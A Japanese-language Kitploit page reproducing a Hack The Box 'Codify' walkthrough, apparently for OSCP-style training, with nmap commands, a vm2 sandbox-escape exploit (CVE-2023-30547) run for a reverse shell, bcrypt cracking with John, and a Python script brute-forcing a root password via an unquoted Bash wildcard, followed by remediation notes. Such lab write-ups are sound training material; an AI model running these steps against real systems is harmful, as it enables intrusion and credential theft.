Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Codify-TJNULL-OSCP- — Codify(Linux - Easy)のウォークスルー。vm2 RCE(CVE-2023-30547)の悪用、SQLite DBのハッシュ抽出、Johnを使用したBcryptのクラッキング、および`mysql-backup.sh`内のBashワイルドカード比較による権限昇格。 | Kitploit
ツール/GitHubGitHub/r3fr4kt/codify-tjnull-oscp-
特権昇格パスワード攻撃エクスプロイトウェブアプリケーション悪用情報収集CTFペネトレーションテスト学習と教育
GitHubr3fr4kt/codify-tjnull-oscp-

Codify-TJNULL-OSCP-

Codify(Linux - Easy)のウォークスルー。vm2 RCE(CVE-2023-30547)の悪用、SQLite DBのハッシュ抽出、Johnを使用したBcryptのクラッキング、および`mysql-backup.sh`内のBashワイルドカード比較による権限昇格。

リポジトリを見る
18日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Hack The Box — Codify 攻略記事

Difficulty OS Platform

Hack The Box の Codify マシンに対する、完全なペネトレーションテストのウォークスルーと攻略記事です。


📌 マシン情報

項目値
名前Codify
OSLinux
難易度Easy
主要概念vm2 RCE (CVE-2023-30547)、SQLite DB 列挙、Bcrypt クラッキング、Bash ワイルドカードパターンマッチングの悪用

🛠️ 概要 / 攻撃チェーン

root@kitploit:~
[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
                                      ⬇️
     [CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
                                      ⬇️
  [SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
                                      ⬇️
     [John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
                                      ⬇️
   [Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
                                      ⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]

🔍 フェーズ 1: 偵察と列挙

1. ポートの発見

全 65,535 の TCP ポートを高速スキャンして、開放されたサービスを発見します:

Bash

root@kitploit:~
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>

2. サービスのバージョン検出

ポート 22、80、3000 に対して詳細な列挙を行います:

Bash

root@kitploit:~
nmap -sVC -p 22,80,3000 <TARGET_IP>

💥 フェーズ 2: 初期アクセス(足場)

1. vm2 サンドボックスエスケープの悪用 (CVE-2023-30547)

ポート 3000 で動作している Web アプリケーションは、脆弱性のあるバージョンの Node.js vm2 サンドボックスライブラリを使用しています。

公開されているエクスプロイトリポジトリをクローンします:

Bash

root@kitploit:~
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547

2. エクスプロイトの実行

攻撃マシン上でローカルの Netcat リスナーを起動します:

Bash

root@kitploit:~
ncat -lnvp 4444

脆弱な Web アプリケーションをターゲットにエクスプロイトを実行します:

Bash

root@kitploit:~
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444

初期アクセスで取得したシェルを確認します:

Bash

root@kitploit:~
whoami

🔎 フェーズ 3: 内部列挙と横展開

1. SQLite データベースの列挙

Web ディレクトリ /var/www/contact に移動し、SQLite データベースを調査します:

Bash

root@kitploit:~
cd /var/www/contact
ls -la
sqlite3 tickets.db

Joshua の bcrypt ハッシュを抽出します:

SQL

root@kitploit:~
SELECT password FROM users WHERE username='joshua';

(CTRL + d を押して終了します)

2. Bcrypt ハッシュのクラッキング

抽出したハッシュを John the Ripper と rockyou.txt を使ってクラックします:

Bash

root@kitploit:~
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3. SSH アクセスとユーザーフラグ

Joshua のクラックした認証情報を使用して SSH で認証します:

Bash

root@kitploit:~
ssh joshua@<TARGET_IP>
cat user.txt

⚡ フェーズ 4: 権限昇格

1. Sudo 権限の列挙

ユーザー joshua が実行を許可されている sudo コマンドを確認します:

Bash

root@kitploit:~
sudo -l

出力: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh

2. バックアップスクリプトの解析

/opt/scripts/mysql-backup.sh を調査します:

Bash

root@kitploit:~
cat /opt/scripts/mysql-backup.sh

脆弱性: このスクリプトは Bash のクォートされていないパターンマッチ ([[ $USER_PASS == $DB_PASS* ]]) を使用しています。これにより、ユーザー入力内のワイルドカード (*) を使って、実際のパスワードに対する文字単位のブルートフォース攻撃が可能になります。

3. 自動パスワード抽出 (Python)

root パスワードを文字単位で抽出する bruteforce.py を作成します:

Python

root@kitploit:~
import string
import subprocess

all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all_characters:
        # Test password + character + wildcard (*)
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
        
        if "Password confirmed!" in output:
            password += character
            print(f"Found: {password}")
            break
    else:
        found = True

print(f"Root Password: {password}")

スクリプトを実行してパスワードを抽出します:

Bash

root@kitploit:~
python3 bruteforce.py

4. Root フラグ

抽出したパスワードを使用して root ユーザーのコンテキストに切り替えます:

Bash

root@kitploit:~
su root
cat /root/root.txt

🛡️ 是正と緩和策

  • Node.js ライブラリのパッチ適用: vm2 (CVE-2023-30547) などの脆弱なサンドボックスライブラリを非推奨にするか、アップグレードします。

  • 安全な Bash スクリプトの作成: 特権スクリプト内での意図しないパターンマッチやワイルドカードインジェクションを防ぐため、文字列比較演算 ([[ "$USER_PASS" == "$DB_PASS" ]]) では常に変数をクォートしてください。

ツールをダウンロード